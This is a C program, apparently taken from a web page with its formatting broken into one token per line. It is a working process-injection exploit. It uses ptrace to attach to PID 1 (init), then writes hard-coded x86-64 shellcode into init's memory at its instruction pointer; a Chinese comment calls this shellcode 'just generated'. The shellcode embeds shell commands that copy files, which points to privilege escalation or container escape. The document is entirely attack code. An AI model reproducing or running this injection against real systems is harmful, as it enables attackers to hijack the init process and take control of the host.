int
main() {
pid_t sleep_pid
=
2
;
struct user_regs_struct regs;
struct rusage usage;
int
status;
unsigned
long
long
data[]
=
{
/
/
刚刚生成的shellcode
0x10101010101b848
,
0x68632eb848500101
,
0x431480169722e6f
,
0x101b848e7894824
,
0x4850010101010101
,
0x17875686f6867b8
,
0x73b8482404314801
,
0x506e69207065656c
,
0x7265776f702fb848
,
0x65732fb84850203b
,
0xb848507473657463
,
0x656d6f682f206873
,
0x622f207063b84850
,
0x101b848502f6e69
,
0x4850010101010101
,
0x6f68632e01622cb8
,
0x1b848240431482e
,
0x5001010101010101
,
0x722e6f68632eb848
,
0xf631240431480169
,
0x56e601485e136a56
,
0x6a56e601485e186a
,
0x894856e601485e18
,
0x50f583b6ad231e6
,
0x909090909090feeb
};
syscall(SYS_ptrace, PTRACE_ATTACH,
1
, NULL, NULL);
while
(syscall(SYS_ptrace, PTRACE_ATTACH, sleep_pid, NULL, NULL)){
sleep_pid
+
+
;
}
syscall(SYS_wait4,
1
, &status,
0
, &usage);
syscall(SYS_ptrace, PTRACE_GETREGS,
1
, NULL, ®s);
for
(
int
i
=
0
; i < sizeof(data)
/
sizeof(data[
0
]); i
+
+
) {
syscall(SYS_ptrace, PTRACE_POKEDATA,
1
, (void
*
)(regs.rip
+
i
*
sizeof(unsigned
long
long
)), (void
*
)data[i]);
}
syscall(SYS_ptrace, PTRACE_CONT, sleep_pid, NULL, (void
*
)SIGALRM);
syscall(SYS_ptrace, PTRACE_DETACH, sleep_pid, NULL, NULL);
syscall(SYS_ptrace, PTRACE_DETACH,
1
, NULL, NULL);
return
0
;
}